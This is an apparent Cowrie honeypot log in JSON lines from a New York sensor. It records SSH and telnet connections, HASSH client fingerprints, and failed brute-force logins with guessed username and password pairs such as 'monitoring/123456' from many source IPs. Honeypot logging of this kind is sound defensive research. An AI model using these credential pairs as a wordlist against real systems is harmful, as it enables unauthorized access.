20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:30:59.811098Z","src_ip":"172.211.56.214","session":"c1e25881192b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfredo","password":"alfredo","message":"login attempt [alfredo/alfredo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:00.214340Z","src_ip":"172.211.56.214","session":"c1e25881192b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:01.308767Z","src_ip":"172.211.56.214","session":"c1e25881192b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.779151439666748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:07.939155Z","src_ip":"45.226.5.18","session":"25d9a2fa0b28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.221","src_port":34542,"dst_ip":"10.17.0.5","dst_port":22,"session":"641d6fdacd06","protocol":"ssh","message":"New connection: 157.10.160.221:34542 (10.17.0.5:22) [session: 641d6fdacd06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:09.660603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:09.663799Z","src_ip":"157.10.160.221","session":"641d6fdacd06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:09.911534Z","src_ip":"157.10.160.221","session":"641d6fdacd06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"icecast","password":"123456","message":"login attempt [icecast/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:11.089709Z","src_ip":"157.10.160.221","session":"641d6fdacd06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:12.338330Z","src_ip":"157.10.160.221","session":"641d6fdacd06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.219.234.233","src_port":51454,"dst_ip":"10.17.0.5","dst_port":22,"session":"20436be3a782","protocol":"ssh","message":"New connection: 118.219.234.233:51454 (10.17.0.5:22) [session: 20436be3a782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:35.493638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:35.498603Z","src_ip":"118.219.234.233","session":"20436be3a782","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":37996,"dst_ip":"159.203.135.109","dst_port":22,"session":"0148ee2e7457","protocol":"ssh","message":"New connection: 172.190.89.127:37996 (159.203.135.109:22) [session: 0148ee2e7457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:35.613651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:35.618425Z","src_ip":"172.190.89.127","session":"0148ee2e7457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:35.629634Z","src_ip":"172.190.89.127","session":"0148ee2e7457","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:35.684091Z","src_ip":"118.219.234.233","session":"20436be3a782","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3123!","message":"login attempt [user3/user3123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:35.707450Z","src_ip":"172.190.89.127","session":"0148ee2e7457","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ayoub","password":"ayoub123","message":"login attempt [ayoub/ayoub123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:36.455734Z","src_ip":"118.219.234.233","session":"20436be3a782","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:36.723802Z","src_ip":"172.190.89.127","session":"0148ee2e7457","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:37.644264Z","src_ip":"118.219.234.233","session":"20436be3a782","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":36464,"dst_ip":"159.203.135.109","dst_port":22,"session":"5684db83bccd","protocol":"ssh","message":"New connection: 45.134.9.27:36464 (159.203.135.109:22) [session: 5684db83bccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:50.770953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:50.775057Z","src_ip":"45.134.9.27","session":"5684db83bccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":41488,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7aa9580607f","protocol":"ssh","message":"New connection: 2.57.122.210:41488 (159.203.135.109:22) [session: d7aa9580607f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:50.781444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:50.785121Z","src_ip":"2.57.122.210","session":"d7aa9580607f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:50.844240Z","src_ip":"45.134.9.27","session":"5684db83bccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:50.888436Z","src_ip":"2.57.122.210","session":"d7aa9580607f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ct","password":"ct1234","message":"login attempt [ct/ct1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:51.151526Z","src_ip":"45.134.9.27","session":"5684db83bccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:51.199976Z","src_ip":"2.57.122.210","session":"d7aa9580607f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:52.224297Z","src_ip":"45.134.9.27","session":"5684db83bccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:31:52.306484Z","src_ip":"2.57.122.210","session":"d7aa9580607f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.156.173","src_port":55346,"dst_ip":"159.203.135.109","dst_port":22,"session":"17a9c159b7a8","protocol":"ssh","message":"New connection: 182.253.156.173:55346 (159.203.135.109:22) [session: 17a9c159b7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:32:31.159169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:32:31.162293Z","src_ip":"182.253.156.173","session":"17a9c159b7a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:32:31.420904Z","src_ip":"182.253.156.173","session":"17a9c159b7a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angga","password":"Angga123!","message":"login attempt [angga/Angga123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:32:32.521437Z","src_ip":"182.253.156.173","session":"17a9c159b7a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:32:33.788085Z","src_ip":"182.253.156.173","session":"17a9c159b7a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.5.169.138","src_port":45890,"dst_ip":"10.17.0.5","dst_port":22,"session":"186a02a57e7d","protocol":"ssh","message":"New connection: 150.5.169.138:45890 (10.17.0.5:22) [session: 186a02a57e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:08.738966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:08.744063Z","src_ip":"150.5.169.138","session":"186a02a57e7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:08.958950Z","src_ip":"150.5.169.138","session":"186a02a57e7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitoring","password":"123456","message":"login attempt [monitoring/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:09.853122Z","src_ip":"150.5.169.138","session":"186a02a57e7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:11.071790Z","src_ip":"150.5.169.138","session":"186a02a57e7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.221","src_port":46626,"dst_ip":"10.17.0.5","dst_port":22,"session":"69372b2d7599","protocol":"ssh","message":"New connection: 157.10.160.221:46626 (10.17.0.5:22) [session: 69372b2d7599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:22.372872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:22.378008Z","src_ip":"157.10.160.221","session":"69372b2d7599","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:22.743274Z","src_ip":"157.10.160.221","session":"69372b2d7599","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitoring","password":"123456","message":"login attempt [monitoring/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:23.992898Z","src_ip":"157.10.160.221","session":"69372b2d7599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:25.421732Z","src_ip":"157.10.160.221","session":"69372b2d7599","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":40516,"dst_ip":"159.203.135.109","dst_port":22,"session":"72c79235c4c9","protocol":"ssh","message":"New connection: 45.134.9.27:40516 (159.203.135.109:22) [session: 72c79235c4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:46.326348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:33:46.353356Z","src_ip":"45.134.9.27","session":"72c79235c4c9","protocol":"ssh"}
